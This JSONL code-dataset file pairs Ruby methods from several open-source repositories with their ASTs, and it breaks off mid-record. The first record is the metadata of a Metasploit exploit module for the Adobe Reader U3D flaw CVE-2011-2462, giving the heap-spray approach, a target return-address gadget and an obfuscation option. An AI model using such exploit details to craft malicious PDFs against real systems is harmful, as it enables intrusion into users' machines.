{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/adobe_reader_u3d.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability',\n        'Description' => %q{\n          This module exploits a vulnerability in the U3D handling within\n          versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.\n          The vulnerability is due to the use of uninitialized memory.\n\n          Arbitrary code execution is achieved by embedding specially crafted U3D\n          data into a PDF document. A heap spray via JavaScript is used in order to\n          ensure that the memory used by the invalid pointer issue is controlled.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Felipe Andres Manzano', # Original poc (@feliam)\n          'sinn3r',\n          'juan vazquez',\n          'jduck'\n        ],\n        'References' => [\n          [ 'CVE', '2011-2462' ],\n          [ 'OSVDB', '77529' ],\n          [ 'BID', '50922' ],\n          [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],\n          [ 'URL', 'http://web.archive.org/web/20210228195907/http://blog.9bplus.com/analyzing-cve-2011-2462/' ],\n          [ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], # Original PoC\n          [ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'DisablePayloadHandler' => true\n        },\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\",\n          'DisableNops' => true\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            # Adobe Reader 9.4.0 / XP SP3\n            # Adobe Reader 9.4.5 / XP SP3\n            # Adobe Reader 9.4.6 / XP SP3\n            'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',\n            {\n              # gadget from icucnv36:\n              # mov ecx,dword ptr [eax+3Ch]\n              # mov eax,dword ptr [ecx]\n              # call dword ptr [eax+1Ch]\n              'Ret' => 0x4a8453c3\n            }\n          ],\n        ],\n        'DisclosureDate' => '2011-12-06', # Needs to be checked\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),\n        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n      ]\n    )\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Adobe Reader U3D Memory Corruption Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in the U3D handling within\\n\"]},{\"type\":\"str\",\"children\":[\"          versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.\\n\"]},{\"type\":\"str\",\"children\":[\"          The vulnerability is due to the use of uninitialized memory.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Arbitrary code execution is achieved by embedding specially crafted U3D\\n\"]},{\"type\":\"str\",\"children\":[\"          data into a PDF document. A heap spray via JavaScript is used in order to\\n\"]},{\"type\":\"str\",\"children\":[\"          ensure that the memory used by the invalid pointer issue is controlled.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Felipe Andres Manzano\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-2462\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"77529\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"50922\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.adobe.com/support/security/advisories/apsa11-04.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20210228195907/http://blog.9bplus.com/analyzing-cve-2011-2462/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1250186179]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-12-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.pdf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"OBFUSCATE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable JavaScript obfuscation\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"31d952a1-0036-4dc7-b020-761d271d89f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repository_cache/preloader.rb","start_line":35,"raw_source":"def backend\n        @repositories.first.cache.backend\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"backend\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repositories\"]},\"first\"]},\"cache\"]},\"backend\"]}]}","id":"f8d9f779-5793-4ceb-b5e7-f28ab05ad0bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/smb/ui/console/command_dispatcher/shares.rb","start_line":604,"raw_source":"def download_file(dest_file, src_file)\n            buf_size = 8 * 1024 * 1024\n            src_fd = simple_client.open(src_file, 'o')\n            # Make the destination path if necessary\n            dir = ::File.dirname(dest_file)\n            ::FileUtils.mkdir_p(dir) if dir && !::File.directory?(dir)\n            dst_fd = ::File.new(dest_file, \"wb\")\n\n            offset = 0\n            src_size = client.open_files[src_fd.file_id].size\n            begin\n              while offset < src_size\n                data = src_fd.read(buf_size, offset)\n                dst_fd.write(data)\n                offset += data.length\n                percent = offset / src_size.to_f * 100.0\n                msg = \"Downloaded #{Filesize.new(offset).pretty} of \" \\\n                  \"#{Filesize.new(src_size).pretty} (#{percent.round(2)}%)\"\n                print_status(msg)\n              end\n            ensure\n              src_fd.close unless src_fd.nil?\n              dst_fd.close unless dst_fd.nil?\n            end\n          end","complexity_score":56.7,"ast_json":"{\"type\":\"def\",\"children\":[\"download_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dest_file\"]},{\"type\":\"arg\",\"children\":[\"src_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"*\",{\"type\":\"int\",\"children\":[1024]}]},\"*\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"lvasgn\",\"children\":[\"src_fd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple_client\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"src_file\"]},{\"type\":\"str\",\"children\":[\"o\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"dest_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"dst_fd\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"dest_file\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"src_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"open_files\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_fd\"]},\"file_id\"]}]},\"size\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"src_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_fd\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"buf_size\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dst_fd\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"percent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_size\"]},\"to_f\"]}]},\"*\",{\"type\":\"float\",\"children\":[100.0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Downloaded \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filesize\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},\"pretty\"]}]},{\"type\":\"str\",\"children\":[\" of \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filesize\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"src_size\"]}]},\"pretty\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percent\"]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\"%)\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_fd\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_fd\"]},\"close\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dst_fd\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dst_fd\"]},\"close\"]}]}]}]}]}]}]}","id":"a62016c7-d1d3-43c4-b8be-0e8c91109486"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":254,"raw_source":"def visit_Arel_Nodes_Rows(o, collector)\n          if o.expr\n            collector << \"ROWS \"\n            visit o.expr, collector\n          else\n            collector << \"ROWS\"\n          end\n        end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_Rows\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"expr\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ROWS \"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"expr\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ROWS\"]}]}]}]}","id":"600fc223-cea8-41e5-a8b5-4b3939846ef4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server.rb","start_line":427,"raw_source":"def ui_url(contact_with = :hostname)\n    url_override = settings_for_resource.ui.url\n    return url_override if url_override\n\n    host = ui_address(contact_with)\n    return if host.nil?\n\n    URI::HTTPS.build(:host => host).to_s\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ui_url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"contact_with\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url_override\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings_for_resource\"]},\"ui\"]},\"url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_override\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_override\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"ui_address\",{\"type\":\"lvar\",\"children\":[\"contact_with\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"HTTPS\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},\"to_s\"]}]}]}","id":"3f0877b5-5560-40aa-87ce-e10abb7ecf9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/work_items/data_sync/associations_helpers.rb","start_line":62,"raw_source":"def known_transferable_associations\n        [\n          base_associations.values,\n          widgets_associations.values,\n          non_widgets_associations.values\n        ].flatten\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"known_transferable_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_associations\"]},\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"widgets_associations\"]},\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_widgets_associations\"]},\"values\"]}]},\"flatten\"]}]}","id":"db09b25a-1f76-414c-885f-c77755afb048"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/helpers/spree/admin/orders_filters_helper.rb","start_line":4,"raw_source":"def params_to_filters(search_params:, vendor: nil, user: nil)\n        if search_params.is_a?(String)\n          search_params = JSON.parse(search_params).deep_symbolize_keys\n        end\n\n        search_params.delete(:inventory_units_shipment_id_null) if search_params[:inventory_units_shipment_id_null] == '0'\n\n        if search_params[:number_cont]\n          search_params[:number_cont] = search_params[:number_cont].split('-').first\n        end\n\n        if search_params[:created_at_gt].present?\n          search_params[:created_at_gt] = begin\n            # Firstly we parse to date to avoid issues with timezones because frontend sends time in local timezone\n            search_params[:created_at_gt].to_date&.in_time_zone(current_timezone)&.beginning_of_day\n          rescue StandardError\n            ''\n          end\n        end\n\n        if search_params[:created_at_lt].present?\n          search_params[:created_at_lt] = begin\n            search_params[:created_at_lt].to_date&.in_time_zone(current_timezone)&.end_of_day\n          rescue StandardError\n            ''\n          end\n        end\n\n        if search_params[:completed_at_gt].present?\n          search_params[:completed_at_gt] = begin\n            search_params[:completed_at_gt].to_date&.in_time_zone(current_timezone)&.beginning_of_day\n          rescue StandardError\n            ''\n          end\n        end\n\n        if search_params[:completed_at_lt].present?\n          search_params[:completed_at_lt] = begin\n            search_params[:completed_at_lt].to_date&.in_time_zone(current_timezone)&.end_of_day\n          rescue StandardError\n            ''\n          end\n        end\n\n        search_params[:vendor_orders_vendor_id_eq] = vendor.id if vendor.present?\n        search_params[:user_id_eq] = user.id if user.present?\n\n        # Handle refunded and partially_refunded payment state filters\n        if search_params[:payment_state_eq] == 'refunded'\n          search_params[:refunded] = '1'\n          search_params.delete(:payment_state_eq)\n        elsif search_params[:payment_state_eq] == 'partially_refunded'\n          search_params[:partially_refunded] = '1'\n          search_params.delete(:payment_state_eq)\n        end\n\n        search_params\n      end","complexity_score":91.3,"ast_json":"{\"type\":\"def\",\"children\":[\"params_to_filters\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"search_params\"]},{\"type\":\"kwoptarg\",\"children\":[\"vendor\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"lvasgn\",\"children\":[\"search_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"search_params\"]}]},\"deep_symbolize_keys\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inventory_units_shipment_id_null\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"inventory_units_shipment_id_null\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_cont\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"number_cont\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"number_cont\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]},\"first\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at_gt\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"created_at_gt\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at_gt\"]}]},\"to_date\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[null,\"current_timezone\"]}]},\"beginning_of_day\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"str\",\"children\":[\"\"]}]},null]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at_lt\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"created_at_lt\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at_lt\"]}]},\"to_date\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[null,\"current_timezone\"]}]},\"end_of_day\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"str\",\"children\":[\"\"]}]},null]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"completed_at_gt\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"completed_at_gt\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"completed_at_gt\"]}]},\"to_date\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[null,\"current_timezone\"]}]},\"beginning_of_day\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"str\",\"children\":[\"\"]}]},null]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"completed_at_lt\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"completed_at_lt\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"completed_at_lt\"]}]},\"to_date\"]},\"in_time_zone\",{\"type\":\"send\",\"children\":[null,\"current_timezone\"]}]},\"end_of_day\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"str\",\"children\":[\"\"]}]},null]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vendor\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"vendor_orders_vendor_id_eq\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vendor\"]},\"id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id_eq\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payment_state_eq\"]}]},\